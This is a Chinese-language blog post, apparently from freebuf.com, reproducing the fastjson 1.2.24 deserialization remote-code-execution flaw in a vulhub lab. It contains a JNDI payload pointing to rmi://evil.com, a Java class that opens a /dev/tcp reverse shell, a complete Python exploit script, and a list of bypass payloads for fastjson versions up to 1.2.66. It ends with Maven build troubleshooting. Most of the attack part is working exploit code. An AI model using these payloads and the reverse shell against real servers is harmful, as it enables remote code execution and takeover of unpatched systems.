fastjson 1.2.24 反序列化 RCE 漏洞复现 – 作者:m0cun10

fastjson 1.2.24 反序列化导致任意命令执行漏洞

Port : 8090

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

根据官方给出的补丁文件,主要的更新在这个 checkAutoType 函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。

参考资料:

漏洞环境

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub

运行测试环境:

docker-compose up -d

环境运行后,访问 http://your-ip:8090即可看到 JSON 格式的输出。

1608275425_5fdc55e18512cd798fbe4.png!small?1608275425134

我们向这个地址 POST 一个 JSON 对象,即可更新服务端的信息:

curl http://your-ip:8090/-H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞复现

因为目标环境是 Java 8u102,没有 com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用 com.sun.rowset.JdbcRowSetImpl的利用链,借助 JNDI 注入来执行命令。

首先编译并上传命令执行代码,如 http://x.x.x.x:8989/TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash","-c","touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

1608275459_5fdc5603d4f51f1ed31ae.png!small?1608275460030

1608275639_5fdc56b7f27cf295f7d96.png!small?16082756397241608275514_5fdc563a9bef26f004091.png!small?1608275514500

注意:

  • String commands 在部分环境下需要添加 bash -c ,否则无法执行命令。

  • 如果没有 web 服务,其实可以通过 php -S 0.0.0.0: port或者 python -m SimpleHTTPServer port临时搭建一个 web 服务器,其发布目录即当前执行目录。

然后我们借助 marshalsec项目,启动一个 RMI 服务器,监听 9999 端口,并制定加载远程类 TouchFile.class

如果没有 maven 环境,需要安装一下,如下是安装步骤(以 win10 为例):

  1. 从官网下载安装包:apache-maven-3.6.3-bin.zip

  2. 解压 apache-maven-3.6.3-bin.zip

  3. 配置环境变量,MAVEN_HOME为解压后的根目录,我们最终需要将 %MAVEN_HOME%\bin;加到 Path 全局变量下。
    1608276035_5fdc584329843efdac5a8.png!small?1608276034954

  4. 验证是否成功,如果无报错,则执行成功,例如:

C:\Users\XXXX> mvn -version
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: D:\System_Relation\apache-maven-3.6.3\bin\..
Java version: 1.7.0_79, vendor: Oracle Corporation, runtime: D:\Program Files\Java\jdk1.7.0_79\jre
Default locale: zh_CN, platform encoding: GBK
OS name: "windows 8.1", version: "6.3", arch: "amd64", family: "windows"
  1. 通过 git clone 或者直接下载压缩包的方式,将项目源代码完成的克隆下来
    1608276086_5fdc587631cf210ad5fc4.png!small?1608276085919

  2. 在项目目录下,直接编译。
    1608276102_5fdc5886e8239c5b28ce1.png!small?1608276102851

  3. 最终会生成 marshalsec-0.0.3-SNAPSHOT-all.jar这样一个文件
    1608276116_5fdc58941f7fc2d65676e.png!small?1608276116447

  4. 将生成的 marshalsec-0.0.3-SNAPSHOT-all.jar包部署到公网的一台 VPS 上,执行如下脚本

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:port/#TouchFile" 9999

如果上述的步骤一直不成功,可以直接使用别人已编译好的 jar 包,推荐一个 github项目,选择【fastjson】=>【marshalsec-0.0.3-SNAPSHOT-all.jar 】:

向靶场服务器发送Payload,带上 RMI 的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

1608276205_5fdc58ed4ad7105536927.png!small?1608276205023

1608276243_5fdc591324b18c96a574a.png!small?1608276242926

可见,命令 touch /tmp/success已成功执行:1608276265_5fdc592905e100ca7cbcf.png!small?1608276264905

引申:

既然可以执行命令,自然可以反弹 shell,只需要修改之前的 Touch_File.java 中的 command 部分即可。以下是代码参考:

// javac shell_re.java
 import java.lang.Runtime;
 import java.lang.Process;
 ​
 public class shell_re {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
 }

反弹 shell 成功:

1608278529_5fdc62016b78adde2109b.png!small?1608278529130

EXP

fastjson<=1.2.24

exphub

#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub

import sys
import requests

if len(sys.argv)!=3:
    print('+------------------------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                               +')
    print('+      RMIServer: rmi://ip:port/exp                                                  +')
    print('+      LDAPServer: ldap://ip:port/exp                                                +')
    print('+------------------------------------------------------------------------------------+')
    print('+ USE: python3 <filename> <target-ip> <RMI/LDAPServer>                               +')
    print('+ EXP: python3 fastjson-1.2.24_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object  +')
    print('+ VER: fastjson<=1.2.24                                                              +')
    print('+------------------------------------------------------------------------------------+')
    sys.exit()

url = sys.argv[1]
server = sys.argv[2]

headers = {
    'Host': "127.0.0.1",
    'Content-Type': "application/json",
    'Accept-Encoding': "gzip, deflate",
    'Connection': "close",
    'Accept': "*/*",
    'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
    }
    
payload = """
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"%s",
            "autoCommit":true
        }
    }
    """ %server

try:
    r = requests.post(url, payload, headers=headers, timeout=10)
    print ("[+] RMI/LDAP Send Success ")
except:
    print ("[-] RMI/LDAP Send Failed ")

此外还有其他版本的 Exp,这里不再一一列举。单独列一下 payload:

fastjson<=1.2.41

payload = """
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"%s", "autoCommit":true}
""" %server

fastjson<=1.2.42

payload = """
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"%s", "autoCommit":true}
""" %server

fastjson<=1.2.43

payload = """
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"%s", "autoCommit":true}
""" %server

fastjson<=1.2.45

payload = """
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"%s"}}
""" %server

fastjson<=1.2.47

payload = """
{
"a": {
"@type": "java.lang.Class", 
"val": "com.sun.rowset.JdbcRowSetImpl"
}, 
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", 
"dataSourceName": "%s", 
"autoCommit": true
}
}
""" %server

fastjson<=1.2.62

payload = """
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"%s"}
""" %server

fastjson<=1.2.66

payload = """
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"%s"}
""" %server

安装过程中的故障

Q1: maven-surefire-plugin(2.19.1) 无法通过 pom.xml 安装。

1608276333_5fdc596d64ff22de4bb44.png!small?1608276333961

A1:由于官网对这些插件的及时更新,而 pom.xml 中的链接已无法获取到对应的版本:

1608276348_5fdc597cc2f3da76a66d6.png!small?1608276348544

截至我写这篇文章时,官网推荐的写法已变成 3.0.0-M5

1608276364_5fdc598c0928a50cc0046.png!small?1608276363812

因此可以通过以下方式来解决

  1. 离线下载的方式,下载老插件

  2. (推荐)通过配置 mirror 镜像来解决这个,参考资料:https://developer.aliyun.com/article/613873

Q2: IDEA build 项目时,提示“[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compile (default-compile) on project marshalsec: Fatal error compiling: 无效的目标发行版: 1.8 -> [Help 1]

A2:通过调整 JDK 版本解决,参考链接:https://www.cnblogs.com/shenrong/p/7129210.htmlhttps://blog.csdn.net/fanrenxiang/article/details/80864908

Q3: IDEA build 项目时,提示 “Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.19.1:test (default-test) on project marshalsec: There are test failures

1608276438_5fdc59d65e7d7cd6dda67.png!small?1608276438143

A3:surefire 是一个测试插件,默认情况下,surefire 会执行文件名以 Test 开头或结尾的测试用例,或者是以 TestCase 结尾的测试用例。其实可以跳过该步骤。参考链接:https://www.cnblogs.com/lxcy/p/8279899.html

1608276448_5fdc59e017508783e75fe.png!small?1608276447936

来源:freebuf.com 2020-12-18 15:41:39 by: m0cun10

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论